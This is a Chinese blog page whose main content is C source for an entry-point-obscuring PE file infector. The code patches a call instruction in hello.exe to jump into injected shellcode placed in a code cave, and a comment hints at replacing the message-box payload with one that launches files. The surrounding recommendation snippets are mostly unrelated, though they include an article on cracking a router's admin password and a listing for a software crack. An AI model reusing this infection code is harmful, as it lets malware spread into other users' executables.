用C实现简单的EPO

linux下Epoll实现简单的C/S通信 <br />epoll的优点:<br />1.支持一个进程打开大数目的socket描述符(FD)<br />    select 最不能忍受的是一个进程所打开的FD是有一定限制的,由FD_SETSIZE设置,默认值是2048。对于那些需要支持的上万连接数目的IM服务器来说显然太少了。这时候你一是可以选择修改这个宏然后重新编译内核,不过资料也同时指出这样会带来网络效率的下降,二是可以选择多进程的解决方案(传统的 Apache方案),不过虽然linux上面创建进程的代价比较小,但仍旧是不可忽视的,加上进程间数据 阅读详情

//:::从代码节开始搜索,替换第一个发现的call api的指令
//:::把目标代码插入代码节的尾部
//:::代码仅供演示之用,没有做过多的错误处理
//:::感染当前hello.exe,插入一段弹出对话框代码(当然你可以修改成启动文件的代码,嘿嘿)
//:::coded by robinh00d
//:::robinh00d_at_163.com
//:::编译:cl epo.c
/*
要插入的反汇编代码thunk code:
00401006   .  60                  PUSHAD
00401007   .  9C                  PUSHFD
00401008   .  E8 00000000         CALL msg.0040100D
0040100D   $  5B                  POP EBX
0040100E   .  81EB 0D104000       SUB EBX,msg.0040100D
00401014   .  6A 00               PUSH 0
00401016   .  8D83 30104000       LEA EAX,DWORD PTR DS:[EBX+401030]
0040101C   .  50                  PUSH EAX
0040101D   .  50                  PUSH EAX
0040101E   .  6A 00               PUSH 0
00401020   .  B8 78563412         MOV EAX,12345678            ;这里感染前会被替换成正确的MessageBoxA的地址
00401025   .  FFD0                CALL EAX
00401027   .  9D                  POPFD
00401028   .  61                  POPAD
00401029   .  FF25 3A104000       JMP DWORD PTR DS:[40103A]   ;跳到API
0040102F      90                  NOP
00401030   .  72 6F 62 69 6E 68 3>ASCII "robinh00d",0
*/
#include <windows.h>

#pragma comment(lib,"kernel32.lib")
#pragma comment(lib,"user32.lib")

char szHostFile[] = ".//hello.exe" ;
PIMAGE_DOS_HEADER pImageDosHeader ;
PIMAGE_NT_HEADERS pImageNtHeaders ;
PIMAGE_SECTION_HEADER pImageSectionHeader ;

unsigned char thunkcode[] = "/x60/x9c/xe8/x00/x00/x00/x00/x5b"
                            "/x81/xeb/x0d/x10/x40/x00/x6a/x00"
                            "/x8d/x83/x30/x10/x40/x00/x50/x50"
                            "/x6a/x00/xb8/x78/x56/x34/x12/xff"
                            "/xd0/x9d/x61/xff/x25/x3a/x10/x40"
                            "/x00/x90/x72/x6f/x62/x69/x6e/x68"
                            "/x30/x30/x64/x00" ;
int main()
{
    HANDLE hFile ;
    HANDLE hMap ;
    LPVOID pMapping ;
    DWORD dwGapSize ;
    unsigned char *pGapEntry ;
    int i ;
    PROC MsgBox ;
    DWORD OldEntry ;
    int x = 0x18 ;
    int vir_len ;
    unsigned char *pSearch ;
    DWORD *dwCallNextAddr ;
    DWORD *dwCallDataOffset ;
    DWORD *dwCallDataAddr ;
    DWORD dwCallData ;
    DWORD dwCodeDistance ;
    DWORD *dwJmpAddr ;
    DWORD dwJmpData ;
    DWORD dwJmpVA ;

    //:::
    hFile = CreateFile(szHostFile,
                        FILE_ALL_ACCESS,
                        FILE_SHARE_READ,
                        NULL,
                        OPEN_EXISTING,
                        FILE_ATTRIBUTE_NORMAL,
                        NULL) ;
                        
    if (hFile==-1)
    {
        printf("Open host file failed!/n") ;
        return -1 ;
    }
    
    hMap = CreateFileMapping(hFile,
                            NULL,
                            PAGE_READWRITE,
                            0,
                            0,
                            NULL) ;
    if (!hMap)
    {
        printf("Create file mapping falied!/n") ;
        return -1 ;
    }
    
    pMapping = MapViewOfFile(hMap,
                        FILE_MAP_ALL_ACCESS,
                        0,
                        0,
                        0) ;
    if (!pMapping)
    {
        printf("Map view of file failed!/n") ;
        return -1 ;
    }
    
    //::::::打开目标宿主文件,先检测文件是否PE格式,定位到代码的末尾
    pImageDosHeader = (PIMAGE_DOS_HEADER)pMapping ;
    if (pImageDosHeader->e_magic==IMAGE_DOS_SIGNATURE)
    {
        pImageNtHeaders = (PIMAGE_NT_HEADERS)((DWORD)pMapping+pImageDosHeader->e_lfanew) ;
        if (pImageNtHeaders->Signature==IMAGE_NT_SIGNATURE)
        {
            //:::是合法的PE文件
            //:::定位到节表头
            pImageSectionHeader = (PIMAGE_SECTION_HEADER)((DWORD)pMapping+
                                                            pImageDosHeader->e_lfanew+
                                                            sizeof(IMAGE_NT_HEADERS)) ;
            //:::计算第一个节的空隙大小
            dwGapSize = pImageSectionHeader->SizeOfRawData - pImageSectionHeader->Misc.VirtualSize ;
            
            //:::如果代码缝隙小于thunk code的大小则感染失败
            if (sizeof(thunkcode)>dwGapSize)
            {
                printf("no more space to fill!/n") ;
                goto Close ;
                
            }
            //:::定位到代码末尾
            pGapEntry = (unsigned char *)(pImageSectionHeader->PointerToRawData+
                                            (DWORD)pMapping+
                                            pImageSectionHeader->Misc.VirtualSize) ;
            
            OldEntry = pImageNtHeaders->OptionalHeader.ImageBase+
                        pImageNtHeaders->OptionalHeader.AddressOfEntryPoint ;

            MsgBox = (PROC)GetProcAddress(LoadLibrary("user32.dll"),"MessageBoxA") ;

            //修改为当前系统的MessageBoxA地址
            for (i=3;i>=0;i--)
            {
                thunkcode[i+27] = ((unsigned int)MsgBox>>x)&0xff ;
                x -= 8 ;
            }
            x = 24 ;
            
            vir_len = (int)pImageSectionHeader->Misc.VirtualSize ;
            
            pSearch = (unsigned char *)(pImageSectionHeader->PointerToRawData+
                        (DWORD)pMapping) ;
                        
            //:::搜索call指令(0xe8)
            for (i=0;i<vir_len;i++)
            {
                if (pSearch[i]==0xe8)
                {
                    //:::call指令操作数地址
                    dwCallDataAddr = (DWORD *)(&pSearch[i]+1) ;
                    //:::call下条指令地址
                    dwCallNextAddr=(DWORD *)(&pSearch[i]+5) ;
                    //:::jmp指令地址
                    dwJmpAddr = (DWORD *)(*dwCallDataAddr+ (DWORD)dwCallNextAddr) ;
                    //:::Jmp指令在内存的虚拟地址VA
                    dwJmpVA = (DWORD)dwJmpAddr-
                                ((DWORD)pMapping+pImageSectionHeader->PointerToRawData)+
                                pImageNtHeaders->OptionalHeader.ImageBase+
                                pImageNtHeaders->OptionalHeader.AddressOfEntryPoint ;
                    //:::取jmp操作数,返回的时候使用
                    dwJmpData = *((DWORD *)((unsigned char *)dwJmpAddr+2)) ;

                    if ((*dwJmpAddr&0xffff)==0x25ff)
                    {
                        //:::修改call操作数
                        dwCodeDistance = (DWORD)pGapEntry - (DWORD)dwCallNextAddr ;
                        *dwCallDataAddr = dwCodeDistance ;
                        //:::原jmp里的操作数,替换到thunk code的末尾
                        for (i=3;i>=0;i--)
                        {
                            thunkcode[i+37] = ((unsigned int)dwJmpData>>x)&0xff ;
                            x -= 8 ;
                        }
                        //把thunk code写入目标宿主程序
                        for (i=0;i<sizeof(thunkcode);i++)
                        {
                            pGapEntry[i] = thunkcode[i] ;
                        }
                        break ;
                    }
                }
                
            }
            
        }
    }
    else
    {
        printf("Invalid file format!/n") ;
    }
    Close:
    UnmapViewOfFile(pMapping) ;
    CloseHandle(hMap) ;
    CloseHandle(hFile) ;
    
    return 0 ;
}

 
帝企鹅优化器(EPO)详解:从基础原理到代码实战 帝企鹅优化器(EPO)是受帝企鹅群体在极寒环境中抱团取暖行为启发,于2018年提出的一种群体智能优化算法。其核心机制是模拟帝企鹅种群通过动态调整位置来维持体温的过程,主要包括确定集群边界、计算温度分布、衡量个体间距离以及更新位置四个步骤,从而在求解复杂优化问题时有效平衡全局探索与局部开发。该算法具有参数少、结构清晰、易于实现等优点,在工程优化、图像处理、机器学习特征选择以及冷链物流车辆路径规划等领域展现出良好的应用潜力。 阅读详情

相关推荐

McAfee EPO 4.0 安装部署实战指南完整版

安装向导允许更改默认HTTPS端口(8443),常见替代值包括:443— 标准HTTPS端口,便于绕过防火墙限制8444— 多实例共存时区分用途标准监控视图虽能满足基本需求,但在大型组织中,不同角色需要关注不同的KPI。ePO 允许管理员创建多个自定义仪表板(Custom Dashboards),并分配给特定用户组。常见的关键绩效指标包括:KPI名称计算方式监控意义终端覆盖率已安装Agent设备数 / 总资产清单数 × 100%衡量部署完整性。

weixin_29009401的博客 1106

GPS辅助方式:AGPS、EPO、Hotstill的异同

1、MT2503辅助定位的方式系统已经默认开启,是以EPO的方式去辅助定位: (1)AGPS只能下载两个小时的有效星历,MTK不使用此方式,所以代码中无需开启AGPS_SUPPORT这个宏; (2)EPO下载的数据为3天的辅助定位数,只要在有校时间内不需要连网下载就可以进行AIDING,加速定位; (3)系统默认开机20秒后下载EPO文件,请确保可以连网。   2、如何查看EPO是否下载

笑傲江湖 1万+

从48V到800V:TI BMS芯片如何应对高压电池管理挑战?

电池管理系统是电动汽车和储能系统的核心,负责监控电池状态、保障安全并优化性能。其核心原理在于通过高精度测量电池电压、电流和温度,结合算法估算电池的荷电状态与健康状态,从而实现精准的能量管理与寿命预测。在技术价值层面,高精度测量能最大化利用电池化学窗口,提升能量密度与续航里程;而符合功能安全标准的设计则是防止热失控等安全事故的基石。随着汽车电气化从48V轻混系统向400V/800V高压平台演进,BMS面临着测量精度、功能安全、高压隔离通信和系统成本等多重挑战。德州仪器的BQ796xx和BQ75614系列芯片,

weixin_27017211的博客 343

EPO: (入口模糊技术)

;----------------------------------------------------------------------------;EPO: (入口模糊技术);by GriYo / 29A;译:fqh;----------------------------------------------------------------------------为了获取控制权,病毒可

gzfqh的专栏 →底层代码研究 8400

特征提取 Features Extraction

介绍了特征提取的基本概念,从分类变量,文本信息和图片信息中进行特征提取的方法,以及实现特征提取的类库

JasonH2021的博客 1万+

Windows下OpenMBEE项目MMS部署失败经历及改正

在Github里找到了上面的第一份文档,下载了MMS源代码(不知道为什么这个代码跟上面操作克隆得到的MMS代码不一样?好像是因为Gradle的版本问题,我本地之前已经安装过7.6.4的Gradle了,于是我找到gradle-wrapper.properties文件。后面在VScode中运行了一下依然是报这个错误,我在VScode终端直接执行。不知道为什么依然没什么用。打开“Windows PowerShell”。(如果是第一次运行它,将看到更长的输出)导航到要克隆存储库的文件夹,例如,

Yo_lan_da的博客 1869

EPO技术

什么是EPO? EPO是EntryPoint Obscuring技术的简写,意即入口模糊技术,该技术改变了传统的修改PE 头部的入口点,使其指向病毒代码入口而使你的代码得以执行的典型方法。 /* 要插入的反汇编代码thunk code: 00401006    .   60                   PUSHAD 00401007    .   9C

1397

保姆级教程:用Protege 5.5.0从零构建你的第一个知识图谱(附实战案例文件)

本文提供了一份详细的Protege 5.5.0使用指南,从零开始构建知识图谱。涵盖环境配置、本体结构设计、实例填充到可视化展示的全流程,特别适合初学者快速掌握知识建模技术。通过实战案例演示,帮助读者理解如何定义类、属性及建立实例关系,是学习知识图谱构建的实用教程。

weixin_42548816的博客 555

MTK 驱动(100)---GPS调试宝典

GPS 基本知识Ø  1.1)GPS定位和网络定位有什么不同?GPS定位是需要卫星参与的,设备借助搜到的卫星讯号,来计算出来设备的位置。网络定位是指利用基站、WIFI MAC,获取一个粗略的位置。Ø  1.2)3D定位和2D 定位的区别?3D一般是指使用至少4颗以上卫星完成的定位。2D一般使用3颗卫星完成的定位过程。3D相比于2D 定位,即定位精度更高。Ø  1.3)卫星分布对GPS perfor...

zhangbijun1230的专栏 1万+

把 ABAP writable CDS view entity 讲透:从只读建模到可写模型的 ABAP CDS 新能力

摘要:SAP引入的writable CDS view entity突破了传统CDS视图只读的限制,允许通过ABAP SQL直接进行数据修改。该特性通过WRITABLE关键字定义,使CDS视图成为与数据库表同等级别的可写对象。其核心价值在于为数据集成、中间层同步等场景提供结构化写入入口,但需注意不应绕过业务规则。最佳实践建议保持底层表结构简单映射,避免复杂变形。这一特性标志着CDS从单纯消费模型向双向数据交互能力的演进,为ABAP开发提供了新的数据边界设计思路。

2007 年 ~ 2025 年,深耕 SAP 技术 18 年 1314

微观交通流仿真软件:SUMO (Simulation of Urban MObility)_(8).仿真场景创建与编辑

总结文件()包含了仿真过程中的总体统计信息,如车辆生成数、平均速度等。加载总结文件使用Python的提取关键信息通过以上步骤,可以使用SUMO及其相关工具和库创建和编辑交通仿真场景。无论是手动创建、使用工具转换现有数据,还是通过Python脚本自动生成,SUMO都提供了丰富的功能来满足不同需求。此外,Traci库允许在仿真过程中动态调整交通场景,从而实现更精细的控制和优化。最后,通过对输出文件的分析,可以评估仿真结果并进行进一步的改进。

kkchenjj的博客 1271

电信 光纤猫 贝尔E8-C-EPON 破解超级管理员密码 实现PPPoE自动拨号和无线路由功能

电信 光纤猫 贝尔E8-C-EPON 破解超级管理员密码 实现PPPoE自动拨号和无线路由功能 时间 2014-07-14 01:26:26  Tang's Blog 原文  http://www.tangblog.com/159.html 主题 无线路由器 电信装宽带都会送一个光纤猫,但是会把你之前的路由器收回去。上一篇文章已经说了如何从客户端入手,让手机进行Wi

hsg77的专栏 6万+

《自然语言处理实战入门》文本分类 ---- 使用词向量与SVM 进行文本分类

文本分类用电脑对文本集(或其他实体或物件)按照一定的分类体系或标准进行自动分类标记。 它根据一个已经被标注的训练文档集合, 找到文档特征和文档类别之间的关系模型, 然后利用这种学习得到的关系模型对 新的文档进行类别判断 。文本分类从基于知识的方法逐渐转变为基于统计 和机器学习的方法。

shiter编写程序的艺术 2389

Anti-VAR-EPO特异性抗体:精准识别基因多态性,助力兴奋剂检测

受北京兴奋剂检测实验室委托,北京义翘神州科技股份公司成功开发出高亲和力Anti-VAR-EPO兔单克隆抗体,为全球反兴奋剂检测提供了精准识别VAR-EPO的关键工具,确保检测结果不被基因多态性干扰。

北京义翘神州官方账号 850

Python 爬虫实战:手机应用商店评论数据爬取与分析

移动应用市场蓬勃发展,用户的评论数据包含了大量有价值的信息,如用户满意度、功能反馈、改进建议等。通过分析这些评论,我们可以挖掘应用的优缺点,甚至预测用户趋势。由于 Apple App Store 评论是动态加载的,我们使用。本篇博客将详细介绍如何使用 Python 爬取。爬取大量数据时,可能会遇到反爬机制。库获取 Google Play 评论。评论数据是动态加载的,需要使用。

2201_76125261的博客 2323

汉书HE8,好用的汇编代码编写工具

汉书HE8,好用的汇编代码编写工具早期编写汇编代码所用功能强大

收集清单后无法在ePO中看到清单

收集清单后无法在ePO中看到清单 点击fetch,任务显示已完成,但仍然显示清单提取状态为尚未提取,多次运行提取,服务器任务仍然显示已成功,但清单状态不变,事实上也没有显示这台机器上的清单 已确认: 本地cli已经lockdown,即使unso之后再次提取仍然显示提取成功,但没有清单 TS: 1. 确认问题,究竟是在客户端没有收集到inventory还是没有成功发送至ePO 在客户端尝试手动...

xinyouliang的专栏 336

IMSL CNL 7.0.0 (x86-64)Crack

IMSL CNL 7.0.0 (x86-64)Crack intel的算法库破解文件,这是C++版本的破解文件

【智能算法】帝企鹅优化算法(EPO)原理及实现

EPO模拟了帝企鹅在寒冷冬季的聚集行为,群体通过产生热量来维持温暖。每个帝企鹅个体都会朝着群体中温度较高的方向移动,并寻找到达温度最高处的最优位置。在移动过程中,每个帝企鹅个体会根据自身与最优位置的距离进行调整,并不断更新最优位置,以此实现群体内个体的优化移动和位置更新。其中,P,Pep分别表述最优个体位置和个体当前位置。A,C是避免相邻个体间碰撞的向量参数,S表示帝企鹅群体最优个体方向移动趋势。其中,k为当前迭代次数,R表述个体距离拥挤群体中心的半径。

Logic_9527的博客 2124

温度PID控制PLC程序

温度PID稳定控制程序,适用于欧姆龙PLC,对其他PLC也具有很大参考价值

VB摄像头监控

该VB模块可对摄像头捕获的画面进行录像等,可在创建的窗口进行控制

安装McAfee EPO 5.10.0

安装McAfee EPO(踩的坑超级多)哭唧唧安装前准备安装环境:新的改变功能快捷键合理的创建标题,有助于目录的生成如何改变文本的样式插入链接与图片如何插入一段漂亮的代码片生成一个适合你的列表创建一个表格设定内容居中、居左、居右SmartyPants创建一个自定义列表如何创建一个注脚注释也是必不可少的KaTeX数学公式新的甘特图功能,丰富你的文章UML 图表FLowchart流程图导出与导入导出导...

LIMY_hm的博客 5339

McAfee EPO4.6的迁移和升级

  由于公司EPO服务器使用的是2003系统,太过老旧且EPO5.0开始不再支持2003的系统。于是考虑把EPO迁移和升级,本想一步到位直接使用2012系统,因其他应用的限制放弃,不过2008R2以后也可以直接升到2012。   迁移步骤: 一、备份   1、备份文件    C:\Program Files\McAfee\ePolicy Orchestr...

weixin_34378045的博客 1008

ePO从32位系统迁移至64位系统

epo目前大多运行在32位系统上,现在windows大力推行2008,在不久就会废除2003.所以ePO要迁移至64位系统是势在必行。废话少说,开工。 准备64为系统的Server一台,推荐windows 2008 R2企业版。 内存4G ,cpu就看着办 别太落伍就行。 一、 备份在32位操作系统上数据库和ePO相关文件 1、停止ePO服务,将下面3个ePO服务停止。...

weixin_34255793的博客 339

Training homework by myself - ePO/ENS/MA

Training-1020 ePO ePO 3个服务: Tomcat&gt;8443&gt;占用内存最多1-3GB&gt;log记录在apsvr和orion,可以查看system event log Apache&gt;客户端通信&gt;同时可以处理250-6=244个通信(涉及到性能与客户端的关系) 加一个AH就相当于加了一个Apache(244点连接数) If(客户端多于5...

xinyouliang的专栏 531

Mcafee epo4.0安装布署及基本配置

这两天研究了一下epo4.0+mcafee8.7i,发现这方面的资料还是比较少,尤其是中文的,所以把自己这几天的心得写出来,和大家分享一下,也请大家多多指教。 本次测试使用的环境是Windows server 2003 enterprise Sp2 x32虚机一台和Windows Xp Sp3虚机一台。数据库为了方便就使用了epo4.0自带的 SQL Server 200...

weixin_34400525的博客 517
上一篇: PE插缝 和PE添节
下一篇: 一个壳代码乱序重构
iiprogram
博客等级 码龄25年 1068粉丝 1515原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值